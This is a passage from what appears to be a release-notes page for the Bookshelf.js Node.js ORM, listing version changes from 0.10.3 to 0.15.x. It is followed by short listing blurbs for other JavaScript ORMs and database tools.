      • Update pg to version 7.11.0: #1991
      • Update sinon to version 7.3.2: #1991
      • Update sinon-chai to version 3.3.0: #1991
      • Update sqlite3 to version 4.0.9: #1991
      • Update uuid to version 3.3.2: #1991
      • Update eslint-config-prettier to 6.0.0: #1957
      • Update eslint to version 6.0.0: #1986
      Source code(tar.gz)
      Source code(zip)
    • 0.15.1(Jun 13, 2019)

    • 0.15.0(Jun 13, 2019)

      0.15.0 Jun 13, 2019 - Diff

      Breaking changes

      • This version requires Node.js 6+
      • Remove code that has been deprecated for a long time: #1956

      Bug fixes

      • once removes all events after it has been triggered: #1972
      • Pagination details are wrong when selecting distinct values of a column: #1950
      • Fix missing attributes in some events: #1934

      Test Suite

      • Fix Docker-compose.yml default postgres user: #1972
      • Fix JSON tests on PostgreSQL 10+: #1955

      Documentation

      • Update and fix a lot of doclets: #1951
      • Update README.md: #1940

      Dependencies

      • Update mocha to version 6.1.1: #1968
      • Update eslint-config-prettier to 4.1.0: #1957
      • Update sinon to version 7.2.4: #1947
      • Update eslint to version 5.1.0: #1930
      Source code(tar.gz)
      Source code(zip)
    • 0.14.2(Dec 17, 2018)

      0.14.2 Dec 17, 2018 - Diff

      Bug fixes

      • Fix crash when using groupBy with table qualifier in pagination plugin: #1928
      • Fix undefined transaction object with Knex 0.15+: #1926

      Refactoring

      • Refactor logic behind .timestamp()'s decision for when to update the updated_at column: #1892
      Source code(tar.gz)
      Source code(zip)
    • 0.14.1(Dec 9, 2018)

      0.14.1 Dec 09, 2018 - Diff

      Enhancements

      • Allow passing custom options to the pagination plugin's internal count method. This is useful for better interoperability with other plugins: #1914

      Bug fixes

      • Fix withRelated fetch option not always grouping properly when using binary primary keys: #1918

      Documentation

      • Add a basic Events guide and fix some issues with the events doclets: #1917
      Source code(tar.gz)
      Source code(zip)
    • 0.14.0(Dec 9, 2018)

      0.14.0 Dec 09, 2018 - Diff

      Breaking changes

      • The previous() and previousAttributes() methods were changed so that whenever a model is saved or destroyed the previous attributes are no longer reset to the current attributes. Since the old behavior wasn't very useful it's likely this won't cause issues for many people. There's a migration guide in case you are affected by this change. #1848
      • Fix incorrect results in collection when models have duplicate ids. Checkout the migration guide in case you are affected by this. #1846
      • Empty hasOne relation will now return null instead of {} when serialized: #1839. There's a migration guide in the rare event this causes you problems.
      • Add more helpful error messages on bad or insufficient morphTo data: #1824. There's a migration guide in case you are affected by this.
      • Changed the existing functionality so that saving a model that hasn't changed will not update its updated_at attribute: #1798. Checkout the migration guide in case you are affected by this.

      Enhancements

      • Make collections iterable using for ... of loops: #1830
      • Add row-level locking options: #1810

      Bug fixes

      • Return clones of nested objects in previousAttributes(): #1876
      • Fix incorrect rowCount value when using groupBy with fetchPage(): #1852
      • Fix eager loading of relations when using parse/format: #1838
      • Fix inability to install bookshelf from git commit: #1835
      • Fix timestamp() setting a key named "null" in some cases: #1820
      • Fix performance of including relationships: #1800

      Test Suite

      • Add test to check for adding withRelated inside events: #1853
      • Add Node.js 10 to the Travis config: #1829
      • Fix incorrect output ordering in tests in some cases: #1825

      Documentation

      • Change the JSDoc theme to add a Guides section (this was already released): #1909
      • Fix hasOne's doc: #1890
      • Fix many-to-many tutorial code: #1888
      • Add code syntax highlighting for tutorials: #1850
      • Fix a few issues with the collection documentation: #1836
      • Fix Model.load() relations param: #1834
      • Fix incorrect docs for collection:fetching event: #1831
      • Add note on needing the Pagination plugin to use fetchPage(): #1803
      • Fix incorrect data types and undocumented Model property: #1797

      Dependencies

      • Replace turbocolor with colorette: #1904
      • Use prettier to format all js and json files: #1883
      • Replace chalk with turbocolor: #1878
      • Update some insecure dependencies: #1841
      • Replace Babel with Node 4 compatible JavaScript: #1835
      • Update sinon to the latest version: #1833
      Source code(tar.gz)
      Source code(zip)
    • 0.13.3(Mar 26, 2018)

      0.13.3 Mar 26, 2018 - Diff

      Potentially breaking changes

      • Saving a model that hasn't changed will not update its updated_at attribute. This was included in a patch release because the chances of any applications depending on this behavior are very small: #1798

      Bug fixes

      • Clean up automatic timestamps feature: #1798

      Documentation

      • Expand documentation of the automatic timestamps feature: #1798
      Source code(tar.gz)
      Source code(zip)
    • 0.13.2(Mar 23, 2018)

    • 0.13.0(Mar 18, 2018)

      0.13.0 Mar 18, 2018 - Diff

      Breaking changes

      • Make require: true the default when deleting models: #1779
      • Remove the second argument to the model's destroyed event handler: #1777
      • Events are now triggered sequentially even when the handlers execute asynchronous code: #1768
      • Drop support for Node versions older than 4: #1696
      • Reorder saving and creating events to reflect the documentation: #1142

      Enhancements

      • Only request returning attribute if client supports returning: #1770
      • Throw error if user doesn't pass a valid Knex instance on initialize: #1756
      • Add parameterized virtual properties to virtuals plugin: #1755
      • Add individual attribute processor plugin to core: #1741
      • Format idAttribute on save and delete: #1680
      • Add withSchema option to all database operations: #1638
      • Add a case converter plugin to core: #1093

      Bug fixes

      • Fix inconsistent timestamp values between save and fetch: #1784
      • Set model.id if attributes being .set() contain a parsed version of idAttribute: #1760
      • Fix pagination plugin's fetchPage() ignoring or hanging with transactions: #1625
      • Fix fetchPage() from pagination plugin not working for relation collections: #1561
      • Don't try to update idAttribute if it hasn't changed: #1260

      Test suite

      • Increase timeout of the large arrays test: #1778
      • Add test to verify that parentId is not undefined when using fetchAll with relations: #1769
      • Fixes and general improvements to the test suite: #1753
      • Remove OracleDB tests: #1744
      • Fix invalid test related to dirty attributes: #1312

      Documentation

      • Improve docs about running tests: #1761
      • Fix typo on parse-and-format tutorial: #1748
      • Add Bookshelf Manager to list of community plugins: #1747

      Dependencies

      Source code(tar.gz)
      Source code(zip)
    • 0.12.1(Jan 8, 2018)

      0.12.1 Jan 8, 2018 - Diff

      • Lots of documentation fixes and updates:
        • Fix incorrect value of second argument to model event handlers: #1723
        • Fix incorrect return value from .detach(): #1720
        • Fix incorrect return value from model.has(): #1712
        • Fix fetching:collection and fetched:collection not being generated or visible on the navigation bar: #1114
        • Update contributing document and issue templates: #1736
        • Add more information and links to Parse and Format docs: #1727
        • Add bookshelf-ez-fetch to Community Plugins: #1708
        • Add bookshelf-default-select to Community Plugins: #1706
        • Add information and examples about calling super() on model's initialize(): #1529
        • Add npm version badge to readme: f4dd792
      • Fix inability to attach belongsToMany relation to models fetched with fetchAll(): #1716
      • Fix foreign key = 0 not fetching related object: #1639
      • Fix unparsed previousAttributes for related models: #1457
      • Update some dependencies: #1734, #1733, #1732, #1728, #1726
      Source code(tar.gz)
      Source code(zip)
    • 0.12.0(Nov 27, 2017)

      0.12.0 Nov 27, 2017 - Diff

      • Skip visibility-plugin hidden and visible attributes #1699.
        • Used w/ <model>.toJSON({ visibility: false })
      • Updated knex peer dependency version to 0.14.x #1694.
      • Documentation typo fixes #1693.
      • Now caching node_modules to speed up travis-ci builds #1695.
      • Use Docker containers for test runs #1674.
      • Make postpublish work regardless of git remote config #1697.
      Source code(tar.gz)
      Source code(zip)
    • 0.11.1(Nov 27, 2017)

    • 0.11.0(Nov 15, 2017)

      0.11.0 Nov 15, 2017Diff

      • Moved .babelrc -> src/.babelrc #1470
      • Timestamp on save now utilizes a date option for timestamp updates on insert and update. #1592
        • Used in options on save like so: m.save({item: 'test'}, { date: dateInThePast })
      • Added morphValues for morphTo relation. #1326
      • Added ability to also set timestamps as model attributes in save. #
      • Removed non-production files from packaging / added them to .npmignore #1679
      • Development Facing
        • Oracle tests only run when oracle is installed.
        • Refactoring on the registry plugin
        • Updated a lot of documents related to repo organization.
      Source code(tar.gz)
      Source code(zip)
    • 0.10.4(Jul 14, 2017)

      Changes in this version:

      • Allow knex 0.13.x
      • Use uuid instead of node-uuid
      • Test Bookshelf with Node v7
      • Updated Author info in package.json
      • Remove lodash from build script
      • Add OracleDB integration tests
      • Add opportunity to override visible and hidden behaviour for toJSON function
      • Do not load belongsTo if foreignKey is null
      • Optimise timestamp function: respect updated_at/created_at being part of the query
      • Fix fetchPage on Collection (pagination plugin)
      • Fixing virtuals when omitNew=true
      • Lot's of typo fixes and documentation updates

      Full changelog:

      https://github.com/bookshelf/bookshelf/compare/0.10.3...0.10.4

      Source code(tar.gz)
      Source code(zip)
    • 0.10.3(Jul 18, 2017)

      Changes in this version:

      • Drop Node support for 0.10 and 0.12
      • Trigger creating event for attached models
      • Add support for uninstantiated models relations
      • Add foreignKeyTarget to relation methods

      Full changelog: https://github.com/bookshelf/bookshelf/compare/0.10.2...0.10.3

      Source code(tar.gz)
      Source code(zip)
    TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, MySQL, MariaDB, PostgreSQL and SQLite databases.

    TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, MySQL, MariaDB, PostgreSQL and SQLite datab

    MikroORM 5.4k Dec 31, 2022
    A Node.js ORM for MySQL, SQLite, PostgreSQL, MongoDB, GitHub and serverless service like Deta, InspireCloud, CloudBase, LeanCloud.

    Dittorm A Node.js ORM for MySQL, SQLite, PostgreSQL, MongoDB, GitHub and serverless service like Deta, InspireCloud, CloudBase, LeanCloud. Installatio

    Waline 21 Dec 25, 2022
    Next-generation ORM for Node.js & TypeScript | PostgreSQL, MySQL, MariaDB, SQL Server & SQLite

    Prisma Quickstart • Website • Docs • Examples • Blog • Slack • Twitter • Prisma 1 What is Prisma? Prisma is a next-generation ORM that consists of the

    Prisma 28k Jan 2, 2023
    ORM for TypeScript and JavaScript (ES7, ES6, ES5). Supports MySQL, PostgreSQL, MariaDB, SQLite, MS SQL Server, Oracle, SAP Hana, WebSQL databases. Works in NodeJS, Browser, Ionic, Cordova and Electron platforms.

    TypeORM is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used

    null 30.1k Jan 3, 2023
    📄 Easily implement pagination into your Knex.js project.

    knex-pagination Easily implement pagination into your application. Usage const knex = require('knex'); const paginate = require('knex-pagination'); co

    Snoot 2 Apr 16, 2022
    An adapter-based ORM for Node.js with support for mysql, mongo, postgres, mssql (SQL Server), and more

    Waterline is a next-generation storage and retrieval engine, and the default ORM used in the Sails framework. It provides a uniform API for accessing

    Balderdash 5.4k Jan 4, 2023
    This is a demo sample of linking NODEJS via ORM and MYSQL

    Demons(Demo of Nodejs with SQL) This is a demo sample of linking NODEJS with ORM and MYSQL Connecting Node to SQL is a hard task and not much help is

    Shivam Sourav Jha 3 Apr 14, 2022
    just a graphql example created by typescript + fastify + mikro-orm(postgresql) + mercurius(graphql adaptor) + type-graphql

    fastify-mikro-orm-mercurius-graphql-example A MikroORM boilerplate for GraphQL made with Fastify, Mercurius, Typescript using TypeGraphQL ?? Packages

    Vigen 10 Aug 28, 2022
    Database manager for MySQL, PostgreSQL, SQL Server, MongoDB, SQLite and others. Runs under Windows, Linux, Mac or as web application

    Database manager for MySQL, PostgreSQL, SQL Server, MongoDB, SQLite and others. Runs under Windows, Linux, Mac or as web application

    DbGate 2k Dec 30, 2022
    Ultimate Script to complete PostgreSQL-to-PostgreSQL Migration right after AWS DMS task done

    Ultimate Script to complete PostgreSQL-to-PostgreSQL Migration right after AWS DMS task done

    방신우 22 Dec 23, 2022
    sqlite3 in ur indexeddb

    This is an absurd project. It implements a backend for sql.js (sqlite3 compiled for the web) that treats IndexedDB like a disk and stores data in bloc

    James Long 3.6k Jan 4, 2023
    sqlite3 in ur indexeddb

    This is an absurd project. It implements a backend for sql.js (sqlite3 compiled for the web) that treats IndexedDB like a disk and stores data in bloc

    James Long 3.6k Dec 30, 2022
    Same as sqlite-tag but without the native sqlite3 module dependency

    sqlite-tag-spawned Social Media Photo by Tomas Kirvėla on Unsplash The same sqlite-tag ease but without the native sqlite3 dependency, aiming to repla

    Andrea Giammarchi 17 Nov 20, 2022
    A simple url shorter API built with nodejs running on Kubernetes in Google Cloud, using PostgreSQL for storage and cloud sql proxy.

    Simple URL Shorter - Google Cloud - Kubernetes A simple url shorter API built with nodejs running on Kubernetes in Google Cloud, using PostgreSQL for

    null 3 Nov 25, 2021
    Adapter based JavaScript ORM for Node.js and the browser

    firenze.js A database agnostic adapter-based object relational mapper (ORM) targetting node.js and the browser. Visit http://firenze.js.org for docume

    Fahad Heylaal 130 Jul 14, 2022
    The Blog system developed by nest.js based on node.js and the database orm used typeorm, the development language used TypeScript

    考拉的 Nest 实战学习系列 readme 中有很多要说的,今天刚开源还没来及更新,晚些慢慢写,其实本人最近半年多没怎么写后端代码,主要在做低代码和中台么内容,操作的也不是原生数据库而是元数据Meta,文中的原生数据库操作也当作复习下,数据库的操作为了同时适合前端和Node开发小伙伴,所以并不是很

    程序员成长指北 148 Dec 22, 2022
    An easy-to-use multi SQL dialect ORM tool for Node.js

    Sequelize Sequelize is a promise-based Node.js ORM tool for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server. It features solid transaction s

    Sequelize 27.3k Jan 4, 2023
    An SQL-friendly ORM for Node.js

    Objection.js Objection.js is an ORM for Node.js that aims to stay out of your way and make it as easy as possible to use the full power of SQL and the

    Vincit 6.9k Jan 5, 2023
    A high performance MongoDB ORM for Node.js

    Iridium A High Performance, IDE Friendly ODM for MongoDB Iridium is designed to offer a high performance, easy to use and above all, editor friendly O

    Sierra Softworks 570 Dec 14, 2022